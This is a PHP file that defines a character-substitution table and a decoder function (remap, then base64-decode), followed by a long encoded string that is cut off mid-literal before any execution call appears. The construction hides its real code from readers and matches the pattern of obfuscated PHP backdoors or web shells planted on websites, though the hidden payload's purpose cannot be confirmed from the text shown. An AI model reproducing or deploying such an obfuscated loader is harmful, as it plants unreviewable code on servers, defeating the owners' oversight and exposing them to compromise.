<?php
$v24FJB1 = Array('1'=>'J', '0'=>'B', '3'=>'M', '2'=>'X', '5'=>'L', '4'=>'e', '7'=>'g', '6'=>'E', '9'=>'b', '8'=>'6', 'A'=>'p', 'C'=>'i', 'B'=>'K', 'E'=>'9', 'D'=>'3', 'G'=>'c', 'F'=>'N', 'I'=>'T', 'H'=>'A', 'K'=>'1', 'J'=>'O', 'M'=>'Q', 'L'=>'2', 'O'=>'F', 'N'=>'v', 'Q'=>'Y', 'P'=>'I', 'S'=>'8', 'R'=>'W', 'U'=>'Z', 'T'=>'k', 'W'=>'x', 'V'=>'P', 'Y'=>'a', 'X'=>'U', 'Z'=>'7', 'a'=>'j', 'c'=>'0', 'b'=>'f', 'e'=>'w', 'd'=>'z', 'g'=>'l', 'f'=>'m', 'i'=>'t', 'h'=>'d', 'k'=>'q', 'j'=>'5', 'm'=>'s', 'l'=>'y', 'o'=>'4', 'n'=>'R', 'q'=>'C', 'p'=>'h', 's'=>'V', 'r'=>'u', 'u'=>'G', 't'=>'o', 'w'=>'r', 'v'=>'S', 'y'=>'n', 'x'=>'H', 'z'=>'D');
function v76FPGN($vI55JZJ, $v0DL9CL){$vCI52C9 = ''; for($i=0; $i < strlen($vI55JZJ); $i++){$vCI52C9 .= isset($v0DL9CL[$vI55JZJ[$i]]) ? $v0DL9CL[$vI55JZJ[$i]] : $vI55JZJ[$i];}
return base64_decode($vCI52C9);}
$vFI0LTR = 'qfgfBugdGLscBqnbX6EIsOmCQLETUv1hBvHf1C0AGDFghq7T2K0VXKn9PfFKGDnN9sEpQDnA9LoC2vT71CQ7Y2Fb'.
'ULENUOEAGq7T2KFOXgUOXgmyXTsFIKnO2cO6nOPy2vTAqymBqRsLQRetQfOdUIQc2LngQLETUv7T2K0VXKn9PfFNUuXC2vT'.
'AJet1U2pAhq7AJeAEq7AAUCHtY2FdU2Mt1OEMIKFXRl1c420gPgcAPq'.
'QfPqnbX6EIsOmChxgeUv1hVIcC3vPAqymBq2njGuXW2DFg9fMtBImBqRsoY2MtBImBbMAg9xFgYRQ7BugdGLscBqnbX'.
'6EIsOmChxgeUv1hBvHf1CHT2K0VXKn9PynjGuXC2IcEPaPCBMAZq7AEqfsmGLsAUCHt'.
'Y2FdU2Mt1OEMIKFXRl1c420gPgcABMAZq7ggQLpNPqnbX6EIsO'.
'mChxgeUv1hJet1U2pAhq7AJeAEq7AgGy1NGgSc3zMtBImBqfUK9fFcYRErPugd2LhN9LnbY2Ht1ugeBMA'.
'Zq7TTULENUx37Vv00Gy1p4v7CFCoWJzXr3a3j5CPmPqPo5a6dJqoW3I7rPCTZq7TBqRUNGfspQL77Bqny9LET'.
'Gl0pGlHTULENUqTBq2mBqMgAUCHtGDnlGDnlBqnAGqe71uhN9LMAPq6EP'.
'6U0IOFOBMt1q2mBqMT1Gfsch21rPOnvsXXZq7T1bMt1bMt1q7glU2nKGfo7nTO3XcXZqyc'.
'BqfUK9fFcYRErPxnjGuXW2DFg9fMtBMAZq7gAUC7pY2FdU2Mt1OEMIKFXRl1g9ROA9x3C2vTBqMT1IKP7PRgdGLscBqnbX6EIsO'.
'mChupg9RsdPgcAq7T1qXEvPqOAGDFghq7T2K0VXKn9PfKgGDFpULsdPgcAq7T1qXEvPqO'.
'AGDFghq7T2K0VXKn9PfUl9LKdPgcAq7T1qXEvPqOAGDFghq7T2K0VXKn9PfKpYRWgGy3C2vTBqvTBq2mBq'.
'Mgg4ugcBqTZq7gEq7t1YRQtULsc2LKpULga2DOK9DngGKEyGu3tBv'.
'TBq2mBqMgf9D1gQRFtBqnbX6EIsq0pGlHTYLsjPzc+Pqne9DFcBMt1q2mBqMT11OEMIKFXRlnwU2ghPzc7GDnlY20aG'.
'LWpGLpgGl7TGuEdhqTZq7T1bMt1bMtBqvng9ROA9x37Vv0HhRjdU21AQRWA4fX'.
'tQfOdUIQc2LngQLETUv7T2K0VXKn9PfsiQRgmGl1hBvTZq7TThupg9R'.
'sdPzc7MxsrGLslYROmY2AgBu1pGLXLFOETURFNUuXt1OEMIKFXRl1cYusiU23C2vTAJet11uKgGDFp'.
'ULsdPzc7MxsrGLslYROmY2AgBu1pGLXLFOETURFNUuXt1OEMIKFXRl1iU2FdQR'.
'hgGl1hBvTZq7TTUy1N9237Vv0HhRjdU21AQRWA4fXtQfOdUIQc2LngQLETUv7T2'.
'K0VXKn9PfUl9LKdPgcABImBqvniQRgmU21dPzc7MxsrGLslYROmY2AgBu1pGLXLFOETURFNUuXt1OEMIKF'.
'XRl1iQRgmU21dPgcABImBqvnp9ugpGLsdPzc7MxsrGLslYROmY2AgBu1pGLXLFOETURFNUuXt1O'.
'EMIKFXRl1p9ugpGLsdPgcABImBqvneQ2FdU237Vv0HhRjdU21AQRWA4fX'.
'tQfOdUIQc2LngQLETUv7T2K0VXKn9Py0pGDFgGl1hBvTZq7t1YRQtY2FdU2Mt1OEIns1RnsPABMt'.
'14et1qvnbXcsvsTsvRlhMvO0bXcs3nChhPzc7PCSCJlHBqMTT2KFOXgUOXg'.
'myXTsFIKnO2cO6nOPy2vHEPqPW3aGr3qoe5a6CJet1qRgfBqOg920c4v7T2KFOXgUOXgmyvOnXXOEQ2cUVXgh0XTnOnOEu'.
'IKPy2vTAq7T14et1qMTT2KFOXgUOXgmyvOnXXOEQ2cUVXgh0XTnOnOEuIKPy2vHEPqPW3aGr3q'.
'oe5a6CJet1q2cBq2cBq7gAUCpAGDFghq7T2cU1I6sIBvTBq2mBqMgf9D1gQRFtBqnbnTg3ns37Q2371uig4vHEVCHTUfgmUvTBq'.
'MgZq7T1qvnfYRWg9fOiUvHEPuOmhusl2LKpQD1NGl7TQRWAQ2FgGKmTYLsj2vTZq7T1qvnfYRWg9fOiUvHEPujK9sEi'.
'QRFl9D3t1uUA9usrQRKgBImBqMT11uUA9usrQRKgPzc7husohOEiQRF'.
'l9D3t1uUA9usrQRKgBImBqMT11uUA9usrQRKgPzc74ujK9sEiQRFl9D3t1uUA9usrQRKgBImBqMT11OEuvXWOXKmTYLsj2smC9f'.
'OiUv1hPzc71uUA9usrQRKgJet1q2cBq2cBq7gAUCpg920c4v7TURKpYRWdBvTBq2mBqMgg4ugcBqTZq7gEq7t1UfEl'.
'UROaYqHt1usiQRgmGl0pGlHTUyngYRe7VIo71usiQRgmBMt14et1qvncYusiUvHEPqn'.
'cYusiU2F9Q21lQ2gbGfOrUq7Thupg9RsdBscZq7T11xntURKgPzc7QRWcU21b9ROaGfEdBqncYusi'.
'UsmChupg9RXC2vTZq7T11xntURKgPzc79ysi2LKpQD1NGl7Thupg9RXAJet1qvncYusiUvHEPx'.
'ng4xnb9ROaGfEdBqncYusiUvTZq7T11xntURKgPzc74ujK9sEiQRFl9D3t1xntURKgBI'.
'mBq7T11uKgGDFpULX7VvHT9RsdGLOyU2F9Q21lQ2gbGfOrUq7T9RsdGLOyU23A2I'.
'mBqMTT9RsdGLOyUvHEPuOmhusl2LKpQD1NGl7T9RsdGLOyUsmC9RsdGLOy'.
'Uv1hBImBqMTT9RsdGLOyUvHEPujK9sEiQRFl9D3t1uKgGDFpULXAJet1qvniU2FdQRhgPzc7husohOEiQRFl9D3t1uKgGDFpU'.
'LXAJet1qvniU2FdQRhgPzc74ujK9sEiQRFl9D3t1uKgGDFpULX'.
'AJet1qvSN1uKgGDFpULX7Vv0eQ2Fd2LKpQD1NGl7T9RsdGLOyUve71x0pGDFgGlTZq7T11'.
'uKgGDFpULX7Vv0fhusA9OEiQRFl9D3t1uKgGDFpULXmPqnfhusA9qTZq7t1qvn'.
'fGfEiPzc71uUl9LKdRLOlGfOj2D1p9fMt1uUl9LKdBscZq7T11uUl9Lc7Vv0p9xngGgEi'.
'QRFl9D3t1uUl9LK9PfUl9LcC2vTZq7T11uUl9Lc7Vv0rhRKb9ROaGfEdBqnfGfEiBImBqMTTUy1N9v'.
'HEPxng4xnb9ROaGfEdBqnfGfEiBImBqMTTUy1N9vHEPxprhRKb9ROaGfEdBqnfGfEiBImBqMTBqMgAUCH'.
'tGDnlGDnlBqnfGfEi5qHCRcFsXKnVIscCBvHEVv0uMXWInvTBqMgZq7T1qvnfGf'.
'EiPzc7Uy1N9sEt9DFcBqnfGfEiBImBqMgEq7T1URWdUMt1q2mBqMT11uUl9Lc7Vv0dhx1bGfse9uOaUv7CRcFsXKnVIscC5qH'.
'CPCe71uUl9LcAJet1q2cBq7T11uKpYRWgGCHEPqniQRgmU21dRLOlGfOj2D1p9fMt1u'.
'KpYRWgGy3A2ImBq7T1GLsrUOEiQRgmBqnfGfEi5qHTURKpYRemPqncYusiUve71uKgGDFpULXm'.
'PqniQRgmU2PAJet1bMAEq7AfhRjahugN9C0dURjT2LKpYRet1uUl9LcmPqnc9le71xFKQftmPqncU'.
'2pc5qHT9ROA9uslBMAZqCH7PqHTYuspUqHEPqPCJetBPqH7PqnK9CHEPxFcGynNh20eU2PthRjA'.
'GRgTBxnA9RXtBvTAJetBPqH7PqntUROTPqoEPq1uGfEiJCHTUy1N9sWrPamBPqH7Pqn'.
'tUROTPqoEPq1Q5XKpYRWgGat71uKpYRWgGgWrPamBPqH7PqntUROTPqoEPq1'.
'vU20m4vKX9dt71uUl9LKG9CPZq7t7PqH71upgQRM75ac7PTKA9RXisfslGLgN9at73voe2uoCJet7PqH71up'.
'gQRM75ac7PTFN9yng9yMisxgeUIt792smhugeQ21c5LOmhusl9fOcY2UgJlPZqCH7PqHTYuspUqHrVvHC'.
'QfEK9fnpGyTE2qPi5vci5vci5vciPCoThRorPgeC2ujG9CPZqCH7PqHBPqH7Pqne9uO'.
'A9CHEPxFcGfge2DnpUD3t1xng4xMAJet7PqH71xApUlHEPqPi5vci5v'.
'ci5vci5vcC5CnK9CoC2ujz9LjcURjc5snjGuX8Pxng4xMNGuWp'.
'YRoZPuFtQ21dU2ME2q11XcSiJz7KJvcW2qPZPuUNGfKphzKf9uEDURnG9CPZqCH7PqHT4fOyPqoEPq1z9LjcURjc5s'.
'nlQRjdUfsl5XsrQLETYRjyJCHDQfgc2ujG9CPr1x0mQRgr5C1G9gWrPamBPqH7'.
'PHt7PqH71xApUlHrVvHC5vci5vci5vci5vciPCoThRorPgWrMLErhusrhqKX420gJC0cU2pc5Lpc9ReZPuFtQ21dU2ME'.
'2q11XcSiJz7KJvcW2qPZ2uoCJet7PqH71xApUlHrVvHCMLErhusrhqKXGfOrGLUgGCKO9fFNUugrUdt7FL1AhOWr2uoTh'.
'usohOWr2uoCJet7PqH71xApUlHrVvHC5vci5vci5vci5vciPCoThRorPCciPamBPqH7PHt7PqH7Y'.
'RQtQLEK9yMt1OEuvXWOXlT7VCHeBMt7PqH74et7PqH7PqH7PuUNGfspQL7t1OEuvXWOXl0pGlHTUfgmUvTBPqH7PqH7Pq0ZqCH'.
'7PqH7PqH7PqH7PugfBuUA9usbU2pAGDndBqnfYRWgRl1c920b9fOiUv1hBvTBPqH7PqH7PqH7PqH74et7PqH7PqH7'.
'PqH7PqH7PqH71uQ7Vv0f9D0g9C7TUfgmUsmChuKe2Ljp9RXC2ve7Py1C'.
'PCTZqCH7PqH7PqH7PqH7PqH7PqHT4fOyPqoEPqPi5vci5vci5vci5vcC5CnK9CoC2uoCJet7PqH7PqH7PqH7PqH'.
'7PqH71xApUlHrVvHCMLErhusrhqKX420gJC0pGx0mYRFphugN9CENQDnghqKdhx1gQRcZPamBPqH7PqH7PqH7PqH7PqH7Pq'.
'n8QRG75ac7Pfjp9RXE2qPC5CnfYRWgRl1rQRKgPgcrPgeC2uoCJet7PqH7PqH7PqH7PqH7PqH71xApUlHrVv'.
'HCMLErhusrhqKXGfOrGLUgGCKO9fFNUugrUdACQ2FgFanG9CPZqCH7PqH7PqH7PqH7PqH7PqHT4fOyPqoEPq1z9'.
'LjcURjc5XnAGD0NGLgcYRErJfOchuOaYuKg9yMZPamBPqH7PqH7PqH7PqH7PqH7Pqn8QRG75ac7PfUA9usrQRKgVseCPCo'.
'TUfgmUsmC9fOiUv1h5C1GPgWr2uoCJet7PqH7PqH7PqH7PqH7PqH71x'.
'ApUlHrVv0aYxsrYKEdGuWAhqpCQ2FgFanbURja9LngBuUlUROTBqnf5q0fYRWgGLg8Uv7TU'.
'fgmUsmChuKe2Ljp9RXC2vTABvTrPgWrPamBPqH7PqH7PqH7PqH7PqH7PuUa9uEdUv7TUCTZqCH7PqH7PqH'.
'7PqH7PxcBPqH7PqH7Pq0EqCH7Pq0Eq7t7PqH7YRQtMuKpYRet1xnN5qHTGDsCYCe71x'.
'ApUle71upgQRMABMt7PqH74et7PqH7PqH7PugfBqOg920c4v7T2K0V'.
'XKn91DUgGf1NGLXy2vTAqCH7PqH7PqH7PqH7PusaYuS7PgFOITnOnqPZqCH7Pq0EqCH7Pq0g9xFgqCH7'.
'Pq0ZqCH7PqH7PqH7YRQtPRsiGxnjBqnbX6EIsOmyhfslQfEdUvhhBvTBPqH7PqH7PqH7PqH7URFt9lHCnTO1IqPZqCH'.
'7Pq0EqycBqfUK9fFcYRErPuOmhusl2LKpQD1NGl7TQLErhusrhqTB4et7PqH7Gx1gUKEiQ2n'.
'aYOEp9uet1lFZBqokB2casRTy5qHTQLErhusrhqe71uKphuFtU23AJetBPqH7PuUNGC7TYvHEPzHZPqnAPze7QLEK9y'.
'Mt1uKphuFtU2F93scAJlHTYvmwBMt7PqH74etBPqH7PqH7PqHT9y37Vv0g4x0m9LngBq1SPCe71uKphuFtU2F93sK91u'.
'ghBImBPqH7PqH7PqHTQdP7Vv0a9Dsrhq7T9y3AJet7PqH7PqH7P'.
'qnlQRjTPzc7GfOrUq7e5qHt1u3lPqc73vTAJet7PqH7PqH7Pqna9LjcURjcPzc7GDnl2D1gGuWpQLXtPymC5'.
'CniQ2naYusdRdOhRlnA2voCbvPmPqnrGKmTGfOrUOcmPqna9LjcURjc'.
'BImBPqH7PxcBPqH7Px1ghxsl9CHTQLErhusrhzmBbMtBUysrQDnA9Lo7husohOEiQRFl9D3t'.
'1uFN9yng9yMAqymBPqH7Px0lURhb9ROcQLpbQRWmBqGa2OiXnspX2qctRKm8UugyY2M82scwBseiBOi9JfnAULgcJgKhBlgG2v3y'.
'5qHTQLErhusrhqe71uKphuFtU23AJetBPqH7PuUNGC7TYvHEPzHZPqnAPze7QLEK9yMt1uKphuF'.
'tU2F93OcAJlHTYvmwBMt7PqH74et7PqH7PqH7PqniYRo7VvHT9ROcQLpgGKmW2smTYscZqCH7PqH7PqH71uKp4qHEPqniQ'.
'2naYusdRd1hRlnA2ImBPqH7PqH7PqHTGfOrUqHEPx1p9fMt1uKA9Ce71uKp4qTZqCH7PqH7P'.
'qH71xhNGfM7Vv0yURjgGfOcUsED9D1TBqnlQRjTBImBqCH7PqH7PqH71uFN9yng9yM7Vv0eGfsy2D1gGuWpQLXtPCSC5y0lUR'.
'hbG2sNhuXt1uKphuFtU2F93OK91ughBvoC5lPmPqnD9D1T5qHTQLErhusrhqe73'.
'vTZqCH7Pq0Eq7t7PqH7Gx1gUKEiQ2naYOEp9uet1lFGRKnOROnG5vp9RdATYRhAhzAh'.
'2vmA2Oca1le71uFN9yng9yMmPqniQ2naYusdBImBqCH7Pq0f9DPt1uT7VvHeJlHTYvHSPuFNhRjcBqniQ2naYusdRd0'.
'hBIm71uTwBlTBPqH7PxmBPqH7PqH7PqHTQLEK9yM7VvHT9ROcQLpgGKmW2smTYscZq7t7PqH7PqH7PqnD9D1TPqHEPuhg9fs'.
'lQ2ng2DhNGfMt1uFNhRjcBImBqCH7PqH7PqH71uFN9yng9yM7Vv0eGfsy2D1gGuWpQLXtPCSC5y0lURhbG2sNhuXt1u'.
'KphuFtU2F93OK91ughBvoC5lPmPqnD9D1T5qHTQLErhusrhqe73vTZqCH7Pq0Eq7tBPq'.
'H7Px1ghxsl9CHTQLErhusrhzmBbMtBUysrQDnA9Lo74ujK9sEiQRFl9D3t1uFN9yng9yMAqymBPqH7Px0lURhb9ROcQLpbQRW'.
'mBqGa2OiJsXKG5vp9RdATYRhAhzAh2vmA2Oca1le71uFN9yng9yMmPqniQ2naYusdBI'.
'mBqCH7Pq0f9DPt1uT7VvHeJlHTYvHSPuFNhRjcBqniQ2naYusdRd0hBIm71uTwBlTBPqH7Px'.
'mBPqH7PqH7PqHT9ysiPzc71uKphuFtU2F93sK91ughJet7PqH7PqH7PqniYRo7Vv0e9DGt3IHmPqnrhRc75vHWBImBPqH7PqH'.
'7PqHT9ROoPzc7GuEDBz6e5qHT9ysiBvHiPz6Zq7t7PqH7PqH7PqnlQRjTPzc7GfOrUq7T9'.
'Rgr5qHT9ROoBImBPqH7PqH7PqHTQLErhusrhqHEPxFcGgElU20mQRFgBqniQ2naYusdRd0hRlnA2ve71x1p9f'.
'MmPqna9LjcURjcBImBPqH7PxcBPqH7Px1ghxsl9CHTQLErhusrhzmBbMtBUysrQDnA9Lo79y'.
'si2LKpQD1NGl7TQLErhusrhqTB4et7PqH7Gx1gUKEiQ2naYOEp9ue'.
't1lFGRK10ITnG5vp9RdATYRhAhzAh2vmA2qctRKm8UugyY2M82scwBsWhPlGmPqna9LjcURjc'.
'5qHT9ROcQLpgGlTZq7t7PqH7UfElBqnAPzc73zm71uT7Vq0a9Dsrhq7T9ROcQ'.
'LpgGKme2vTZPqnABlmAqCH7Pq0ZqCH7PqH7PqH71uKA9CHEPqniQ2naYusdRdOhRlnA2ImBP'.
'qH7PqH7PqHT9ROoPzc71uKphuFtU2F93gK91ughJet7PqH7PqH7'.
'PqnlQRjTPzc7GfOrUq7T9Rgr5qHT9ROoBImBPqH7PqH7PqHTQLErhusrhqHEPxFcGgElU20mQRFgBqniQ2naYusdRd0hRlnA'.
'2ve71x1p9fMmPqna9LjcURjcBImBPqH7PxcBPqH7Px1ghxsl9CHTQLErhusrhzmBbMtBUys'.
'rQDnA9Lo7ULsrU21phusbhLElUq7T9usrUDntBMAZqCH7PqHTQLppGy37VvHyQR1'.
'aUusfULpAYfim9RjNGxOlGDnKhygo4CGZqCH7PqHT9ysiMLppGy37Vv0dhx'.
'1mURot1uFtQ21dBImBPqH7Pqndhx1A9fG7VvHy1dmBPqH7PuUNGC7TYvHEPzHZPqnAPze71uWg9fhcYzm71uTwBlTBP'.
'qH7PxmBPqH7PqH7PqHTGDnlYRjyPqoEPxFKQyFcGC7TQLppGy3mPx1p9fMt3ve71ujK9XF'.
'tQ21dBvHiPz6mPz6AJet7PqH7bMt7PqH7Gfsch21rPqndhx1A9fGZqycBqfUK9fFcYRE'.
'rPx0pGDFb9ROaGfEdBqna9LjcURjc5qHTGuOdGLsdBMAZqCH7PqHTGuOdGlHEPuOlGfOj2D0NGq7TGuOd'.
'GLsdBImBPqH7PHt7PqH7Gfsch21rPxFcGgElU20mQRFgBq19X6OIXKcC5qHTGuOdGle71uF'.
'N9yng9yMAJeAEq7AfhRjahugN9C0fhusA9OEiQRFl9D3t1uFN9yng9yMmPqnfhusA9qTB'.
'4lH7PqHBPqH7Px1ghxsl9C0dhx1bGfse9uOaUv7CRcUXnXg32vPmPqnfhusA9qe71uFN9yng9yMAJeAEq'.
'7AfhRjahugN9C0AGKEAGq7TGDnlBv0ZqCH7Gfsch21rPx0lURhb9ROcQL7tPCE4BOm'.
'W5IghbOmW5IghRdHiJsKS3sme5IghRdHiJsKS3gme5InhRdHiJsKS3as93qcK2vTt2qotRdHiJsKSRd'.
'6iJsK93qcj22eWRdHiJsK93qcj22elRdHiFOK93qcj22elFsme5IshBvgZ3DcT5lPm1xFc'.
'GCTZqycBqfUK9fFcYRErPuUl9LKbYuEdhq7TQLErhusrhqTB4etBPq'.
'H7Pqnt9DFcPzc7Gx1gUKElU20mQRFgBqGN2CpDhDhSUyneBser5LTy5'.
'qGy56HT2KFOXgUOXgmyvOnXXOEPIKFX1KcAJetBPqH7PugfPqpAGKEAGq7TYuEdhqTAqCH7Pq0ZqCH7PqH7PqH7Gfsch21rPq'.
'na9LjcURjcJet7PqH7bMt7PqH7qCH7PqHThuEwURjdPzc7U2pe9uETUv7CMqPmPqna9LjcURjcBImBqCH7'.
'PqHTQLErhusrhqHEPqnc9Lig9yF93Oc75CHCMqP75CHTYuEdhqHrPqP+PamBqCH7Pq0lU2nKGfo71uFN9yng9yMZqycBqf'.
'UK9fFcYRErPuslGfEl2dMeFq7AqymBqRpgQRngGC7CvOnXXqSW5a6'.
'7FzHcP6jNhq0u9DsrUqPAJetBqvnKGfT7Vv0eGfsy2D1gGuWpQLXt1lS'.
't2zSA5CtT5lGmPqGy5qHT2KFOXgUOXgmyXTsnsXsIsOEsXTTy2vHAJetBqvna9LjcURjcPzc7QDsdhuEi'.
'2Lpchx0bGfsWhRsdhz6tPfpchxH85lSC5CnbXcsvsTsvRlhPsOnM2cpVXKM'.
'y2voC5cOuXRAzITprYzpvhxnuvIFRI21qUunUhdUl9fh54ah5nX6CBImBqvn'.
'a9LjcURjcPzc7GDnl2D1gGuWpQLXtPqPNMXUnYTFJvujtJO1ch6U13KUFGT1TUOgDFy1r'.
'Uci8FciOMvPmPqnKGfTmPqna9LjcURjcPqTZq7t1U2pAhq771uFN9yng9yM7BImBbMtBqfUK9fFc'.
'YRErPuFKGDnN9sEthxne2D1gG2sgGDMWBqneQ21p923AqymBPqH7PugfBqHpPugd2LOlGfOjBqneQ21p923APq'.
'TBPqH7PxmBPqH7PqH7PqHTGuOlQRKdPzc7Q21lQ2TtqCH7PqH7PqH7PqH7PqhKGfeyPzc+PqneQ21p923mqCH7PqH7PqH7PqH7Pq'.
'hiU2nt9LMyPzc+PqhxnsMyqCH7PqH7PqH7BImBPqH7PxcBPqH7PHt7PqH7YRQtPqneQ21p92F91Dsl9qhhVIcy1lHAPx1ghxsl'.
'9C0uMXWInImBPqH7PHt7PqH7YRQtPq67Y2FdU2Mt1x0pGfOiGKmy9RscYuET1KcAPqT71x0pGfOiGKmy9'.
'RscYuET1Kc7VvHtY2FdU2Mt1x0pGfOiGKmyUuOcQvhhBvQfY2FbQ21lQ2Tt1x0p'.
'GfOiGKmyUuOcQvhhBvT7VlHyX6EIsqG7JCHyncsX1dmBPqH7PqneQ21'.
'p92F91LKghupNUqhhPzc7GDnlhuEKGx0gGC7TGuOlQRKdRlhiU2nt9LMy2vTZqCH7P'.
'q0AUC77Pv0A9gEpGy1p4v7TGuOlQRKdRlhiU2nt9LMy2ve7Q21lQ2Tt1chOsqGmPqhMIKFX1lTAPqT7Gfsch21rP6U0IOFOJlH'.
'BPqH7PHt7PqH75lt7c1/n7Fqoc55MNiqcc5aMNqzn7hu0cQNMrEq8cQ37c5P7c5/n7Fqec55MrFqZcQdMNhu5c5T7'.
'c55MrFqcPqtNqCH7PqHTh21mPzc7GuOlGLsbh21mBqneQ21p92F91Dsl9qhhBImBPqH7PugfBqHpPugdGLscB'.
'qnKGfW91DFaYusiUvhhBvHAPqnKGfW91DFaYusiUvhhPzc71LpchxH'.
'yJet7PqH7YRQtPq67Y2FdU2Mt1xsl9OmyGuOcYqhhBvHAPqnKGfW91D0phu7y2vHEPqGN1dmBPqH7PugfB'.
'qHpPugdGLscBqnKGfW91LpNGDMy2vT71CQ7Y2FdU2Mt1xsl9OmyGuOcYqhhBvH'.
'AqCH7Pq0ZqCH7PqH7PqH7YRQtPxFcGy0NGl7Th21mRlheQ2nt1KcmPqGN1lT7BMt7PqH7PqH7PxmBPqH7PqH7PqH7PqH71xsl9Om'.
'yYuEdhqhhPzc7GDsCGDnlBqnKGfW91D0phu7y2ve73qe7GDnlGuEdBqnKGfW'.
'91D0phu7y2ve71lSyBvTZqCH7PqH7PqH7PqH7PqnKGfW91D0phu7y2vHEPxFKQyFcGC7Th21mRlheQ2nt1KcmPxFcGy0'.
'NGl7Th21mRlheQ2nt1KcmPqGN1lTAJet7PqH7PqH7PxcBPqH7Pq'.
'H7Pq0g9xFgqCH7PqH7PqH74et7PqH7PqH7PqH7PqHTh21mRlht9DFc1Kc7VvHTh21mRlheQ2nt1KcZqCH7PqH7'.
'PqH7PqH7PqnKGfW91D0phu7y2vHEPqGN1dm1qCH7PqH7PqH7bMt7PqH7bMt7'.
'PqH71xsl9OmyGuOcYqhhPzc7Gx1gUKElU20mQRFgBqPNRKWG5Kcw5lPmPqPNPCe7'.
'1xsl9OmyGuOcYqhhBImBPqH7PugfBq0AGDFghq7Th21mRlhWhRsl4vhhBvHAPqnKGfW91D0phu7y2vHrVvHCVDmTh21mRl'.
'hWhRsl4vhhbvPZqCH7PqHBPqH7Pqne9D1cPzc7Y2FdU2Mt1x0pGfOiGKmyGuElhqhhBvH/PqneQ21p92F91D0NG'.
'yMy2Mt7PqH7PqH7PqH7PqH8Pq77Y2FdU2Mt1xsl9OmyGuElhqhhBvH/PqnKGfW91D0NGyMy2vH8'.
'Pq7Th21mRlhdQLpg9RXy2IcE1Lpchx0d1dScFz38JzHAPqTZqCH7PqHBPqH7Pqn'.
'cYRKg9DscPzc7Y2FdU2Mt1x0pGfOiGKmyhugiUREKhqhhBvH/PqneQ21p92F91DnA9RsNh2My2vH8Pz3eJet7PqH7YRQt'.
'Pq67Y2FdU2Mt1x0pGfOiGKmyGfsch21r1KcAPqT71x0pGfOiGKmyGfsch21r1Kc7VvHyQLErhusrhqGZqCH7PqHBPqH7PqndQ'.
'Lpg9RX7VvHTh21mRlhdQLpg9RXy2IcE1Lpchx0d1lH/PqhdGLe85lSyJCGyJet7PqH71uUePzc7MuUd9LFw9D0g9C7'.
'TGLFtURKg5CnKGfW91LpNGDMy2ve71x0NGyMmPqngGy1r9le71usl'.
'GyFcGCe71xnA9RsNh2MAJet7PqH7YRQtPqnfGqHAqCH7Pq0ZqCH7PqH7PqH75lt7IRE8YRWmQvHk5et7PqH7PqH7PugfBq'.
'HpPugdGLscBqneQ21p92F91KsdU2PiMRhg9yMy2vT7BvHTGuOlQRKdRlhsGLsl5XOyURjc1Kc7VvHCIRE8YRWmQv'.
'SK5aH7BugMYuErUIm7sIm7MK0sPugMYuErUv0VXlHd2dH79ugwUv0FQR37IK37Rz'.
'm7URoih23AP6OeGuWgsLsCvLgc5dXlJqoWJqHtvcpXIXemPuWAYLX7nLsaYLSAPOUgGy'.
'FA9LoNFqoeP6KNQfgmUvSDMI3c3v0IQRUpGfTNFIPo5a6LPamBPqH7PqH7PqHBPqH7PqH7Pq'.
'HTGfsWhRsdhqHEPq1Z1x0pGfOiGKmy9RscYuET1KKEPxmTh21mRlheQ2nt1KKEP6pXsOHN3voe2x1G9CPZq'.
'CH7PqH7PqH71x1gG2sgGDM75ac7PTpNGDM8PxmTh21mRlht9DFc1KKE2x1G9CPZqC'.
'H7PqH7PqH71x1gG2sgGDM75ac7PgsdU2PiMRhg9yM8PxmTGuOlQRKdRlhsGLsl5XOyURjc1K'.
'KEPCoC2x1G9CPZqCH7PqH7PqH7YRQtPugdGLscBqneQ21p92F91D1gUfslU2Py2vT7BvHTGfsWhRsdhqHrVvHCXf'.
'sfU21gGat74lneQ21p92F91D1gUfslU2Py22KGGgWrPamBPqH7PqH7Pq0AUC77Y2FdU2Mt1x0pG'.
'fOiGKmyQLENYLgg1KcAPqTBPqH7PqH7Pq0ZqCH7PqH7PqH7PqH7Pqna9L'.
'EwYRX7VvHCPamBPqH7PqH7PqH7PqH7YRQtPugd2LOlGfOjBqneQ21p92F91LFN9L'.
'iAUvhhBvHAPxif9D1gQRFtBqHTGuOlQRKdRlha9LEwYRXy2v0pGlHTYdc+1xQ7BvHTQLENYLggPqoEPqPTYdcTh'.
'am7Pam71uFN9LiAUvHEPxFKQyFcGC7TQLENYLgg5zHm5IPAJDcBPq'.
'H7PqH7PqH7PqH7URWdUvHTQLENYLggPzc71x0pGfOiGKmyQLENYLg'.
'g1KcZqCH7PqH7PqH7PqH7PugfBqHTQLENYLggPIcy1lHAPqnlU2OKU2FcPqoEPq1z9LE'.
'wYRX8Pqna9LEwYRsGGgWrPamBPqH7PqH7Pq0EqCH7PqH7PqH71x1gG2sgGDM75ac7PTFN9'.
'fjgQDnA9Lo8PuFm9DFg2x1G9CPZqCH7PqH7PqH7YRQtPqneQ21p92F9'.
'1LKghupNUqhhVIcyX6EIsqG7BMt7PqH7PqH7PxmBPqH7PqH7PqH7PqH7YRQtPugdGLscBqneQ21p92F91Lnphu6y'.
'2vT71CQ7Y2FbQ21lQ2Tt1x0pGfOiGKmyUuOcQvhhBvHAqCH7PqH7PqH7PqH7PxmBPqH7PqH7PqH7PqH7PqH7PuUNGfspQ'.
'L7t1x0pGfOiGKmyUuOcQvhhP6OIPqnwPzc+PqnLBMt7PqH7PqH7PqH7PqH7PqH7PqH7P'.
'qnTQ2npPqoEPxsl9usrQLETUv7TYlTr1dcy5ysl9usrQLETUv7ThCTr1l'.
'QyJet7PqH7PqH7PqH7PqH7PqH7YRQtPxFKQyFcGC7TUuOcQve75I6AVIcy1CG7BvHTUuOcQvHEPxFKQyFcGC7TUuOcQve'.
'e5qcWBImBPqH7PqH7PqH7PqH7bMt7PqH7PqH7PqH7PqHTUuOcQvHrV'.
'vHC2x1G9gWl2uoCJet7PqH7PqH7PqH7PqHBPqH7PqH7PqH7PqH71x1gG2sgGDM75ac7PTFN9'.
'yng9yMihxgeUIt7Q20e9ugaQ2nA9LoN4qKDhDGiUfEl9vKKGfWg9fFNUusT2x1G9CPZqCH7PqH7PqH7PqH7PqnlU2OKU2FcPqo'.
'EPq1z9LjcURjc5RWg9fhcYzt7PCjdhx1mURot1unphu6A5C1GG'.
'gWrPamBPqH7PqH7Pq0EqCH7PqH7PqH71x1gG2sgGDM75ac7PgW'.
'l2uoCJet7PqH7PqH7PHt7PqH7PqH7PugfBqHTGuOlQRKdRlhiU2nt9LMy2vHEVvHyX6EIsqG7BvHTGfs'.
